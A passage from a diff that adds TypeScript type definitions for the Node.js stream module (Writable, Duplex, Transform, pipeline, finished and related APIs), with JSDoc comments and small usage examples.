prependOnceListener(event: "readable", listener: () => void): this; + prependOnceListener(event: "resume", listener: () => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + removeListener(event: "close", listener: () => void): this; + removeListener(event: "data", listener: (chunk: any) => void): this; + removeListener(event: "end", listener: () => void): this; + removeListener(event: "error", listener: (err: Error) => void): this; + removeListener(event: "pause", listener: () => void): this; + removeListener(event: "readable", listener: () => void): this; + removeListener(event: "resume", listener: () => void): this; + removeListener(event: string | symbol, listener: (...args: any[]) => void): this; + [Symbol.asyncIterator](): AsyncIterableIterator; + /** + * Calls `readable.destroy()` with an `AbortError` and returns a promise that fulfills when the stream is finished. + * @since v20.4.0 + */ + [Symbol.asyncDispose](): Promise; + } + import WritableOptions = internal.WritableOptions; + class WritableBase extends Stream implements NodeJS.WritableStream { + /** + * Is `true` if it is safe to call `writable.write()`, which means + * the stream has not been destroyed, errored, or ended. + * @since v11.4.0 + */ + readonly writable: boolean; + /** + * Is `true` after `writable.end()` has been called. This property + * does not indicate whether the data has been flushed, for this use `writable.writableFinished` instead. + * @since v12.9.0 + */ + readonly writableEnded: boolean; + /** + * Is set to `true` immediately before the `'finish'` event is emitted. + * @since v12.6.0 + */ + readonly writableFinished: boolean; + /** + * Return the value of `highWaterMark` passed when creating this `Writable`. + * @since v9.3.0 + */ + readonly writableHighWaterMark: number; + /** + * This property contains the number of bytes (or objects) in the queue + * ready to be written. The value provides introspection data regarding + * the status of the `highWaterMark`. + * @since v9.4.0 + */ + readonly writableLength: number; + /** + * Getter for the property `objectMode` of a given `Writable` stream. + * @since v12.3.0 + */ + readonly writableObjectMode: boolean; + /** + * Number of times `writable.uncork()` needs to be + * called in order to fully uncork the stream. + * @since v13.2.0, v12.16.0 + */ + readonly writableCorked: number; + /** + * Is `true` after `writable.destroy()` has been called. + * @since v8.0.0 + */ + destroyed: boolean; + /** + * Is `true` after `'close'` has been emitted. + * @since v18.0.0 + */ + readonly closed: boolean; + /** + * Returns error if the stream has been destroyed with an error. + * @since v18.0.0 + */ + readonly errored: Error | null; + /** + * Is `true` if the stream's buffer has been full and stream will emit `'drain'`. + * @since v15.2.0, v14.17.0 + */ + readonly writableNeedDrain: boolean; + constructor(opts?: WritableOptions); + _write(chunk: any, encoding: BufferEncoding, callback: (error?: Error | null) => void): void; + _writev?( + chunks: Array<{ + chunk: any; + encoding: BufferEncoding; + }>, + callback: (error?: Error | null) => void, + ): void; + _construct?(callback: (error?: Error | null) => void): void; + _destroy(error: Error | null, callback: (error?: Error | null) => void): void; + _final(callback: (error?: Error | null) => void): void; + /** + * The `writable.write()` method writes some data to the stream, and calls the + * supplied `callback` once the data has been fully handled. If an error + * occurs, the `callback` will be called with the error as its + * first argument. The `callback` is called asynchronously and before `'error'` is + * emitted. + * + * The return value is `true` if the internal buffer is less than the `highWaterMark` configured when the stream was created after admitting `chunk`. + * If `false` is returned, further attempts to write data to the stream should + * stop until the `'drain'` event is emitted. + * + * While a stream is not draining, calls to `write()` will buffer `chunk`, and + * return false. Once all currently buffered chunks are drained (accepted for + * delivery by the operating system), the `'drain'` event will be emitted. + * Once `write()` returns false, do not write more chunks + * until the `'drain'` event is emitted. While calling `write()` on a stream that + * is not draining is allowed, Node.js will buffer all written chunks until + * maximum memory usage occurs, at which point it will abort unconditionally. + * Even before it aborts, high memory usage will cause poor garbage collector + * performance and high RSS (which is not typically released back to the system, + * even after the memory is no longer required). Since TCP sockets may never + * drain if the remote peer does not read the data, writing a socket that is + * not draining may lead to a remotely exploitable vulnerability. + * + * Writing data while the stream is not draining is particularly + * problematic for a `Transform`, because the `Transform` streams are paused + * by default until they are piped or a `'data'` or `'readable'` event handler + * is added. + * + * If the data to be written can be generated or fetched on demand, it is + * recommended to encapsulate the logic into a `Readable` and use {@link pipe}. However, if calling `write()` is preferred, it is + * possible to respect backpressure and avoid memory issues using the `'drain'` event: + * + * ```js + * function write(data, cb) { + * if (!stream.write(data)) { + * stream.once('drain', cb); + * } else { + * process.nextTick(cb); + * } + * } + * + * // Wait for cb to be called before doing any other write. + * write('hello', () => { + * console.log('Write completed, do more writes now.'); + * }); + * ``` + * + * A `Writable` stream in object mode will always ignore the `encoding` argument. + * @since v0.9.4 + * @param chunk Optional data to write. For streams not operating in object mode, `chunk` must be a {string}, {Buffer}, + * {TypedArray} or {DataView}. For object mode streams, `chunk` may be any JavaScript value other than `null`. + * @param [encoding='utf8'] The encoding, if `chunk` is a string. + * @param callback Callback for when this chunk of data is flushed. + * @return `false` if the stream wishes for the calling code to wait for the `'drain'` event to be emitted before continuing to write additional data; otherwise `true`. + */ + write(chunk: any, callback?: (error: Error | null | undefined) => void): boolean; + write(chunk: any, encoding: BufferEncoding, callback?: (error: Error | null | undefined) => void): boolean; + /** + * The `writable.setDefaultEncoding()` method sets the default `encoding` for a `Writable` stream. + * @since v0.11.15 + * @param encoding The new default encoding + */ + setDefaultEncoding(encoding: BufferEncoding): this; + /** + * Calling the `writable.end()` method signals that no more data will be written + * to the `Writable`. The optional `chunk` and `encoding` arguments allow one + * final additional chunk of data to be written immediately before closing the + * stream. + * + * Calling the {@link write} method after calling {@link end} will raise an error. + * + * ```js + * // Write 'hello, ' and then end with 'world!'. + * import fs from 'node:fs'; + * const file = fs.createWriteStream('example.txt'); + * file.write('hello, '); + * file.end('world!'); + * // Writing more now is not allowed! + * ``` + * @since v0.9.4 + * @param chunk Optional data to write. For streams not operating in object mode, `chunk` must be a {string}, {Buffer}, + * {TypedArray} or {DataView}. For object mode streams, `chunk` may be any JavaScript value other than `null`. + * @param encoding The encoding if `chunk` is a string + * @param callback Callback for when the stream is finished. + */ + end(cb?: () => void): this; + end(chunk: any, cb?: () => void): this; + end(chunk: any, encoding: BufferEncoding, cb?: () => void): this; + /** + * The `writable.cork()` method forces all written data to be buffered in memory. + * The buffered data will be flushed when either the {@link uncork} or {@link end} methods are called. + * + * The primary intent of `writable.cork()` is to accommodate a situation in which + * several small chunks are written to the stream in rapid succession. Instead of + * immediately forwarding them to the underlying destination, `writable.cork()` buffers all the chunks until `writable.uncork()` is called, which will pass them + * all to `writable._writev()`, if present. This prevents a head-of-line blocking + * situation where data is being buffered while waiting for the first small chunk + * to be processed. However, use of `writable.cork()` without implementing `writable._writev()` may have an adverse effect on throughput. + * + * See also: `writable.uncork()`, `writable._writev()`. + * @since v0.11.2 + */ + cork(): void; + /** + * The `writable.uncork()` method flushes all data buffered since {@link cork} was called. + * + * When using `writable.cork()` and `writable.uncork()` to manage the buffering + * of writes to a stream, defer calls to `writable.uncork()` using `process.nextTick()`. Doing so allows batching of all `writable.write()` calls that occur within a given Node.js event + * loop phase. + * + * ```js + * stream.cork(); + * stream.write('some '); + * stream.write('data '); + * process.nextTick(() => stream.uncork()); + * ``` + * + * If the `writable.cork()` method is called multiple times on a stream, the + * same number of calls to `writable.uncork()` must be called to flush the buffered + * data. + * + * ```js + * stream.cork(); + * stream.write('some '); + * stream.cork(); + * stream.write('data '); + * process.nextTick(() => { + * stream.uncork(); + * // The data will not be flushed until uncork() is called a second time. + * stream.uncork(); + * }); + * ``` + * + * See also: `writable.cork()`. + * @since v0.11.2 + */ + uncork(): void; + /** + * Destroy the stream. Optionally emit an `'error'` event, and emit a `'close'` event (unless `emitClose` is set to `false`). After this call, the writable + * stream has ended and subsequent calls to `write()` or `end()` will result in + * an `ERR_STREAM_DESTROYED` error. + * This is a destructive and immediate way to destroy a stream. Previous calls to `write()` may not have drained, and may trigger an `ERR_STREAM_DESTROYED` error. + * Use `end()` instead of destroy if data should flush before close, or wait for + * the `'drain'` event before destroying the stream. + * + * Once `destroy()` has been called any further calls will be a no-op and no + * further errors except from `_destroy()` may be emitted as `'error'`. + * + * Implementors should not override this method, + * but instead implement `writable._destroy()`. + * @since v8.0.0 + * @param error Optional, an error to emit with `'error'` event. + */ + destroy(error?: Error): this; + /** + * Event emitter + * The defined events on documents including: + * 1. close + * 2. drain + * 3. error + * 4. finish + * 5. pipe + * 6. unpipe + */ + addListener(event: "close", listener: () => void): this; + addListener(event: "drain", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "finish", listener: () => void): this; + addListener(event: "pipe", listener: (src: Readable) => void): this; + addListener(event: "unpipe", listener: (src: Readable) => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "close"): boolean; + emit(event: "drain"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "finish"): boolean; + emit(event: "pipe", src: Readable): boolean; + emit(event: "unpipe", src: Readable): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "close", listener: () => void): this; + on(event: "drain", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "finish", listener: () => void): this; + on(event: "pipe", listener: (src: Readable) => void): this; + on(event: "unpipe", listener: (src: Readable) => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "drain", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "finish", listener: () => void): this; + once(event: "pipe", listener: (src: Readable) => void): this; + once(event: "unpipe", listener: (src: Readable) => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "drain", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "finish", listener: () => void): this; + prependListener(event: "pipe", listener: (src: Readable) => void): this; + prependListener(event: "unpipe", listener: (src: Readable) => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "drain", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "finish", listener: () => void): this; + prependOnceListener(event: "pipe", listener: (src: Readable) => void): this; + prependOnceListener(event: "unpipe", listener: (src: Readable) => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + removeListener(event: "close", listener: () => void): this; + removeListener(event: "drain", listener: () => void): this; + removeListener(event: "error", listener: (err: Error) => void): this; + removeListener(event: "finish", listener: () => void): this; + removeListener(event: "pipe", listener: (src: Readable) => void): this; + removeListener(event: "unpipe", listener: (src: Readable) => void): this; + removeListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + namespace internal { + class Stream extends internal { + constructor(opts?: ReadableOptions); + } + interface StreamOptions extends Abortable { + emitClose?: boolean | undefined; + highWaterMark?: number | undefined; + objectMode?: boolean | undefined; + construct?(this: T, callback: (error?: Error | null) => void): void; + destroy?(this: T, error: Error | null, callback: (error?: Error | null) => void): void; + autoDestroy?: boolean | undefined; + } + interface ReadableOptions extends StreamOptions { + encoding?: BufferEncoding | undefined; + read?(this: Readable, size: number): void; + } + /** + * @since v0.9.4 + */ + class Readable extends ReadableBase { + /** + * A utility method for creating a `Readable` from a web `ReadableStream`. + * @since v17.0.0 + * @experimental + */ + static fromWeb( + readableStream: streamWeb.ReadableStream, + options?: Pick, + ): Readable; + /** + * A utility method for creating a web `ReadableStream` from a `Readable`. + * @since v17.0.0 + * @experimental + */ + static toWeb(streamReadable: Readable): streamWeb.ReadableStream; + } + interface WritableOptions extends StreamOptions { + decodeStrings?: boolean | undefined; + defaultEncoding?: BufferEncoding | undefined; + write?( + this: Writable, + chunk: any, + encoding: BufferEncoding, + callback: (error?: Error | null) => void, + ): void; + writev?( + this: Writable, + chunks: Array<{ + chunk: any; + encoding: BufferEncoding; + }>, + callback: (error?: Error | null) => void, + ): void; + final?(this: Writable, callback: (error?: Error | null) => void): void; + } + /** + * @since v0.9.4 + */ + class Writable extends WritableBase { + /** + * A utility method for creating a `Writable` from a web `WritableStream`. + * @since v17.0.0 + * @experimental + */ + static fromWeb( + writableStream: streamWeb.WritableStream, + options?: Pick, + ): Writable; + /** + * A utility method for creating a web `WritableStream` from a `Writable`. + * @since v17.0.0 + * @experimental + */ + static toWeb(streamWritable: Writable): streamWeb.WritableStream; + } + interface DuplexOptions extends ReadableOptions, WritableOptions { + allowHalfOpen?: boolean | undefined; + readableObjectMode?: boolean | undefined; + writableObjectMode?: boolean | undefined; + readableHighWaterMark?: number | undefined; + writableHighWaterMark?: number | undefined; + writableCorked?: number | undefined; + construct?(this: Duplex, callback: (error?: Error | null) => void): void; + read?(this: Duplex, size: number): void; + write?(this: Duplex, chunk: any, encoding: BufferEncoding, callback: (error?: Error | null) => void): void; + writev?( + this: Duplex, + chunks: Array<{ + chunk: any; + encoding: BufferEncoding; + }>, + callback: (error?: Error | null) => void, + ): void; + final?(this: Duplex, callback: (error?: Error | null) => void): void; + destroy?(this: Duplex, error: Error | null, callback: (error?: Error | null) => void): void; + } + /** + * Duplex streams are streams that implement both the `Readable` and `Writable` interfaces. + * + * Examples of `Duplex` streams include: + * + * * `TCP sockets` + * * `zlib streams` + * * `crypto streams` + * @since v0.9.4 + */ + class Duplex extends ReadableBase implements WritableBase { + readonly writable: boolean; + readonly writableEnded: boolean; + readonly writableFinished: boolean; + readonly writableHighWaterMark: number; + readonly writableLength: number; + readonly writableObjectMode: boolean; + readonly writableCorked: number; + readonly writableNeedDrain: boolean; + readonly closed: boolean; + readonly errored: Error | null; + /** + * If `false` then the stream will automatically end the writable side when the + * readable side ends. Set initially by the `allowHalfOpen` constructor option, + * which defaults to `true`. + * + * This can be changed manually to change the half-open behavior of an existing + * `Duplex` stream instance, but must be changed before the `'end'` event is emitted. + * @since v0.9.4 + */ + allowHalfOpen: boolean; + constructor(opts?: DuplexOptions); + /** + * A utility method for creating duplex streams. + * + * - `Stream` converts writable stream into writable `Duplex` and readable stream + * to `Duplex`. + * - `Blob` converts into readable `Duplex`. + * - `string` converts into readable `Duplex`. + * - `ArrayBuffer` converts into readable `Duplex`. + * - `AsyncIterable` converts into a readable `Duplex`. Cannot yield `null`. + * - `AsyncGeneratorFunction` converts into a readable/writable transform + * `Duplex`. Must take a source `AsyncIterable` as first parameter. Cannot yield + * `null`. + * - `AsyncFunction` converts into a writable `Duplex`. Must return + * either `null` or `undefined` + * - `Object ({ writable, readable })` converts `readable` and + * `writable` into `Stream` and then combines them into `Duplex` where the + * `Duplex` will write to the `writable` and read from the `readable`. + * - `Promise` converts into readable `Duplex`. Value `null` is ignored. + * + * @since v16.8.0 + */ + static from( + src: + | Stream + | NodeBlob + | ArrayBuffer + | string + | Iterable + | AsyncIterable + | AsyncGeneratorFunction + | Promise + | Object, + ): Duplex; + _write(chunk: any, encoding: BufferEncoding, callback: (error?: Error | null) => void): void; + _writev?( + chunks: Array<{ + chunk: any; + encoding: BufferEncoding; + }>, + callback: (error?: Error | null) => void, + ): void; + _destroy(error: Error | null, callback: (error?: Error | null) => void): void; + _final(callback: (error?: Error | null) => void): void; + write(chunk: any, encoding?: BufferEncoding, cb?: (error: Error | null | undefined) => void): boolean; + write(chunk: any, cb?: (error: Error | null | undefined) => void): boolean; + setDefaultEncoding(encoding: BufferEncoding): this; + end(cb?: () => void): this; + end(chunk: any, cb?: () => void): this; + end(chunk: any, encoding?: BufferEncoding, cb?: () => void): this; + cork(): void; + uncork(): void; + /** + * A utility method for creating a web `ReadableStream` and `WritableStream` from a `Duplex`. + * @since v17.0.0 + * @experimental + */ + static toWeb(streamDuplex: Duplex): { + readable: streamWeb.ReadableStream; + writable: streamWeb.WritableStream; + }; + /** + * A utility method for creating a `Duplex` from a web `ReadableStream` and `WritableStream`. + * @since v17.0.0 + * @experimental + */ + static fromWeb( + duplexStream: { + readable: streamWeb.ReadableStream; + writable: streamWeb.WritableStream; + }, + options?: Pick< + DuplexOptions, + "allowHalfOpen" | "decodeStrings" | "encoding" | "highWaterMark" | "objectMode" | "signal" + >, + ): Duplex; + /** + * Event emitter + * The defined events on documents including: + * 1. close + * 2. data + * 3. drain + * 4. end + * 5. error + * 6. finish + * 7. pause + * 8. pipe + * 9. readable + * 10. resume + * 11. unpipe + */ + addListener(event: "close", listener: () => void): this; + addListener(event: "data", listener: (chunk: any) => void): this; + addListener(event: "drain", listener: () => void): this; + addListener(event: "end", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "finish", listener: () => void): this; + addListener(event: "pause", listener: () => void): this; + addListener(event: "pipe", listener: (src: Readable) => void): this; + addListener(event: "readable", listener: () => void): this; + addListener(event: "resume", listener: () => void): this; + addListener(event: "unpipe", listener: (src: Readable) => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "close"): boolean; + emit(event: "data", chunk: any): boolean; + emit(event: "drain"): boolean; + emit(event: "end"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "finish"): boolean; + emit(event: "pause"): boolean; + emit(event: "pipe", src: Readable): boolean; + emit(event: "readable"): boolean; + emit(event: "resume"): boolean; + emit(event: "unpipe", src: Readable): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "close", listener: () => void): this; + on(event: "data", listener: (chunk: any) => void): this; + on(event: "drain", listener: () => void): this; + on(event: "end", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "finish", listener: () => void): this; + on(event: "pause", listener: () => void): this; + on(event: "pipe", listener: (src: Readable) => void): this; + on(event: "readable", listener: () => void): this; + on(event: "resume", listener: () => void): this; + on(event: "unpipe", listener: (src: Readable) => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "data", listener: (chunk: any) => void): this; + once(event: "drain", listener: () => void): this; + once(event: "end", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "finish", listener: () => void): this; + once(event: "pause", listener: () => void): this; + once(event: "pipe", listener: (src: Readable) => void): this; + once(event: "readable", listener: () => void): this; + once(event: "resume", listener: () => void): this; + once(event: "unpipe", listener: (src: Readable) => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "data", listener: (chunk: any) => void): this; + prependListener(event: "drain", listener: () => void): this; + prependListener(event: "end", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "finish", listener: () => void): this; + prependListener(event: "pause", listener: () => void): this; + prependListener(event: "pipe", listener: (src: Readable) => void): this; + prependListener(event: "readable", listener: () => void): this; + prependListener(event: "resume", listener: () => void): this; + prependListener(event: "unpipe", listener: (src: Readable) => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "data", listener: (chunk: any) => void): this; + prependOnceListener(event: "drain", listener: () => void): this; + prependOnceListener(event: "end", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "finish", listener: () => void): this; + prependOnceListener(event: "pause", listener: () => void): this; + prependOnceListener(event: "pipe", listener: (src: Readable) => void): this; + prependOnceListener(event: "readable", listener: () => void): this; + prependOnceListener(event: "resume", listener: () => void): this; + prependOnceListener(event: "unpipe", listener: (src: Readable) => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + removeListener(event: "close", listener: () => void): this; + removeListener(event: "data", listener: (chunk: any) => void): this; + removeListener(event: "drain", listener: () => void): this; + removeListener(event: "end", listener: () => void): this; + removeListener(event: "error", listener: (err: Error) => void): this; + removeListener(event: "finish", listener: () => void): this; + removeListener(event: "pause", listener: () => void): this; + removeListener(event: "pipe", listener: (src: Readable) => void): this; + removeListener(event: "readable", listener: () => void): this; + removeListener(event: "resume", listener: () => void): this; + removeListener(event: "unpipe", listener: (src: Readable) => void): this; + removeListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + /** + * The utility function `duplexPair` returns an Array with two items, + * each being a `Duplex` stream connected to the other side: + * + * ```js + * const [ sideA, sideB ] = duplexPair(); + * ``` + * + * Whatever is written to one stream is made readable on the other. It provides + * behavior analogous to a network connection, where the data written by the client + * becomes readable by the server, and vice-versa. + * + * The Duplex streams are symmetrical; one or the other may be used without any + * difference in behavior. + * @param options A value to pass to both {@link Duplex} constructors, + * to set options such as buffering. + * @since v22.6.0 + */ + function duplexPair(options?: DuplexOptions): [Duplex, Duplex]; + type TransformCallback = (error?: Error | null, data?: any) => void; + interface TransformOptions extends DuplexOptions { + construct?(this: Transform, callback: (error?: Error | null) => void): void; + read?(this: Transform, size: number): void; + write?( + this: Transform, + chunk: any, + encoding: BufferEncoding, + callback: (error?: Error | null) => void, + ): void; + writev?( + this: Transform, + chunks: Array<{ + chunk: any; + encoding: BufferEncoding; + }>, + callback: (error?: Error | null) => void, + ): void; + final?(this: Transform, callback: (error?: Error | null) => void): void; + destroy?(this: Transform, error: Error | null, callback: (error?: Error | null) => void): void; + transform?(this: Transform, chunk: any, encoding: BufferEncoding, callback: TransformCallback): void; + flush?(this: Transform, callback: TransformCallback): void; + } + /** + * Transform streams are `Duplex` streams where the output is in some way + * related to the input. Like all `Duplex` streams, `Transform` streams + * implement both the `Readable` and `Writable` interfaces. + * + * Examples of `Transform` streams include: + * + * * `zlib streams` + * * `crypto streams` + * @since v0.9.4 + */ + class Transform extends Duplex { + constructor(opts?: TransformOptions); + _transform(chunk: any, encoding: BufferEncoding, callback: TransformCallback): void; + _flush(callback: TransformCallback): void; + } + /** + * The `stream.PassThrough` class is a trivial implementation of a `Transform` stream that simply passes the input bytes across to the output. Its purpose is + * primarily for examples and testing, but there are some use cases where `stream.PassThrough` is useful as a building block for novel sorts of streams. + */ + class PassThrough extends Transform {} + /** + * A stream to attach a signal to. + * + * Attaches an AbortSignal to a readable or writeable stream. This lets code + * control stream destruction using an `AbortController`. + * + * Calling `abort` on the `AbortController` corresponding to the passed `AbortSignal` will behave the same way as calling `.destroy(new AbortError())` on the + * stream, and `controller.error(new AbortError())` for webstreams. + * + * ```js + * import fs from 'node:fs'; + * + * const controller = new AbortController(); + * const read = addAbortSignal( + * controller.signal, + * fs.createReadStream(('object.json')), + * ); + * // Later, abort the operation closing the stream + * controller.abort(); + * ``` + * + * Or using an `AbortSignal` with a readable stream as an async iterable: + * + * ```js + * const controller = new AbortController(); + * setTimeout(() => controller.abort(), 10_000); // set a timeout + * const stream = addAbortSignal( + * controller.signal, + * fs.createReadStream(('object.json')), + * ); + * (async () => { + * try { + * for await (const chunk of stream) { + * await process(chunk); + * } + * } catch (e) { + * if (e.name === 'AbortError') { + * // The operation was cancelled + * } else { + * throw e; + * } + * } + * })(); + * ``` + * + * Or using an `AbortSignal` with a ReadableStream: + * + * ```js + * const controller = new AbortController(); + * const rs = new ReadableStream({ + * start(controller) { + * controller.enqueue('hello'); + * controller.enqueue('world'); + * controller.close(); + * }, + * }); + * + * addAbortSignal(controller.signal, rs); + * + * finished(rs, (err) => { + * if (err) { + * if (err.name === 'AbortError') { + * // The operation was cancelled + * } + * } + * }); + * + * const reader = rs.getReader(); + * + * reader.read().then(({ value, done }) => { + * console.log(value); // hello + * console.log(done); // false + * controller.abort(); + * }); + * ``` + * @since v15.4.0 + * @param signal A signal representing possible cancellation + * @param stream A stream to attach a signal to. + */ + function addAbortSignal(signal: AbortSignal, stream: T): T; + /** + * Returns the default highWaterMark used by streams. + * Defaults to `65536` (64 KiB), or `16` for `objectMode`. + * @since v19.9.0 + */ + function getDefaultHighWaterMark(objectMode: boolean): number; + /** + * Sets the default highWaterMark used by streams. + * @since v19.9.0 + * @param value highWaterMark value + */ + function setDefaultHighWaterMark(objectMode: boolean, value: number): void; + interface FinishedOptions extends Abortable { + error?: boolean | undefined; + readable?: boolean | undefined; + writable?: boolean | undefined; + } + /** + * A readable and/or writable stream/webstream. + * + * A function to get notified when a stream is no longer readable, writable + * or has experienced an error or a premature close event. + * + * ```js + * import { finished } from 'node:stream'; + * import fs from 'node:fs'; + * + * const rs = fs.createReadStream('archive.tar'); + * + * finished(rs, (err) => { + * if (err) { + * console.error('Stream failed.', err); + * } else { + * console.log('Stream is done reading.'); + * } + * }); + * + * rs.resume(); // Drain the stream. + * ``` + * + * Especially useful in error handling scenarios where a stream is destroyed + * prematurely (like an aborted HTTP request), and will not emit `'end'` or `'finish'`. + * + * The `finished` API provides [`promise version`](https://nodejs.org/docs/latest-v22.x/api/stream.html#streamfinishedstream-options). + * + * `stream.finished()` leaves dangling event listeners (in particular `'error'`, `'end'`, `'finish'` and `'close'`) after `callback` has been + * invoked. The reason for this is so that unexpected `'error'` events (due to + * incorrect stream implementations) do not cause unexpected crashes. + * If this is unwanted behavior then the returned cleanup function needs to be + * invoked in the callback: + * + * ```js + * const cleanup = finished(rs, (err) => { + * cleanup(); + * // ... + * }); + * ``` + * @since v10.0.0 + * @param stream A readable and/or writable stream. + * @param callback A callback function that takes an optional error argument. + * @returns A cleanup function which removes all registered listeners. + */ + function finished( + stream: NodeJS.ReadableStream | NodeJS.WritableStream | NodeJS.ReadWriteStream, + options: FinishedOptions, + callback: (err?: NodeJS.ErrnoException | null) => void, + ): () => void; + function finished( + stream: NodeJS.ReadableStream | NodeJS.WritableStream | NodeJS.ReadWriteStream, + callback: (err?: NodeJS.ErrnoException | null) => void, + ): () => void; + namespace finished { + function __promisify__( + stream: NodeJS.ReadableStream | NodeJS.WritableStream | NodeJS.ReadWriteStream, + options?: FinishedOptions, + ): Promise; + } + type PipelineSourceFunction = () => Iterable | AsyncIterable; + type PipelineSource = Iterable | AsyncIterable | NodeJS.ReadableStream | PipelineSourceFunction; + type PipelineTransform, U> = + | NodeJS.ReadWriteStream + | (( + source: S extends (...args: any[]) => Iterable | AsyncIterable ? AsyncIterable + : S, + ) => AsyncIterable); + type PipelineTransformSource = PipelineSource | PipelineTransform; + type PipelineDestinationIterableFunction = (source: AsyncIterable) => AsyncIterable; + type PipelineDestinationPromiseFunction = (source: AsyncIterable) => Promise

    ; + type PipelineDestination, P> = S extends + PipelineTransformSource ? + | NodeJS.WritableStream + | PipelineDestinationIterableFunction + | PipelineDestinationPromiseFunction + : never; + type PipelineCallback> = S extends + PipelineDestinationPromiseFunction ? (err: NodeJS.ErrnoException | null, value: P) => void + : (err: NodeJS.ErrnoException | null) => void; + type PipelinePromise> = S extends + PipelineDestinationPromiseFunction ? Promise

    : Promise; + interface PipelineOptions { + signal?: AbortSignal | undefined; + end?: boolean | undefined; + } + /** + * A module method to pipe between streams and generators forwarding errors and + * properly cleaning up and provide a callback when the pipeline is complete. + * + * ```js + * import { pipeline } from 'node:stream'; + * import fs from 'node:fs'; + * import zlib from 'node:zlib'; + * + * // Use the pipeline API to easily pipe a series of streams + * // together and get notified when the pipeline is fully done. + * + * // A pipeline to gzip a potentially huge tar file efficiently: + * + * pipeline( + * fs.createReadStream('archive.tar'), + * zlib.createGzip(), + * fs.createWriteStream('archive.tar.gz'), + * (err) => { + * if (err) { + * console.error('Pipeline failed.', err); + * } else { + * console.log('Pipeline succeeded.'); + * } + * }, + * ); + * ``` + * + * The `pipeline` API provides a [`promise version`](https://nodejs.org/docs/latest-v22.x/api/stream.html#streampipelinesource-transforms-destination-options). + * + * `stream.pipeline()` will call `stream.destroy(err)` on all streams except: + * + * * `Readable` streams which have emitted `'end'` or `'close'`. + * * `Writable` streams which have emitted `'finish'` or `'close'`. + * + * `stream.pipeline()` leaves dangling event listeners on the streams + * after the `callback` has been invoked. In the case of reuse of streams after + * failure, this can cause event listener leaks and swallowed errors. If the last + * stream is readable, dangling event listeners will be removed so that the last + * stream can be consumed later. + * + * `stream.pipeline()` closes all the streams when an error is raised. + * The `IncomingRequest` usage with `pipeline` could lead to an unexpected behavior + * once it would destroy the socket without sending the expected response. + * See the example below: + * + * ```js + * import fs from 'node:fs'; + * import http from 'node:http'; + * import { pipeline } from 'node:stream'; + * + * const server = http.createServer((req, res) => { + * const fileStream = fs.createReadStream('./fileNotExist.txt'); + * pipeline(fileStream, res, (err) => { + * if (err) { + * console.log(err); // No such file + * // this message can't be sent once `pipeline` already destroyed the socket + * return res.end('error!!!'); + * } + * }); + * }); + * ``` + * @since v10.0.0 + * @param callback Called when the pipeline is fully done. + */ + function pipeline, B extends PipelineDestination>( + source: A, + destination: B, + callback: PipelineCallback, + ): B extends NodeJS.WritableStream ? B : NodeJS.WritableStream; + function pipeline< + A extends PipelineSource, + T1 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + destination: B, + callback: PipelineCallback, + ): B extends NodeJS.WritableStream ? B : NodeJS.WritableStream; + function pipeline< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + destination: B, + callback: PipelineCallback, + ): B extends NodeJS.WritableStream ? B : NodeJS.WritableStream; + function pipeline< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + T3 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + transform3: T3, + destination: B, + callback: PipelineCallback, + ): B extends NodeJS.WritableStream ? B : NodeJS.WritableStream; + function pipeline< + A extends PipelineSource, + T1 extends PipelineTransform, + T2 extends PipelineTransform, + T3 extends PipelineTransform, + T4 extends PipelineTransform, + B extends PipelineDestination, + >( + source: A, + transform1: T1, + transform2: T2, + transform3: T3, + transform4: T4, + destination: B, + callback: PipelineCallback, + ): B extends NodeJS.WritableStream ? B : NodeJS.WritableStream; + function pipeline( + streams: ReadonlyArray, + callback: (err: NodeJS.ErrnoException | null) => void, + ): NodeJS.WritableStream; + function pipeline( + stream1: NodeJS.ReadableStream, + stream2: NodeJS.ReadWriteStream | NodeJS.WritableStream, + ...streams: Array< + NodeJS.ReadWriteStream | NodeJS.WritableStream | ((err: NodeJS.ErrnoException | null) => void) + > + ): NodeJS.WritableStream; + namespace pipeline { + function __promisify__, B extends PipelineDestination>( + source: A, + destination: B, + options?: PipelineOptions, + ): PipelinePromise; + function __promisify__< + A extends PipelineSource, + T1 extends PipelineTransform, + B 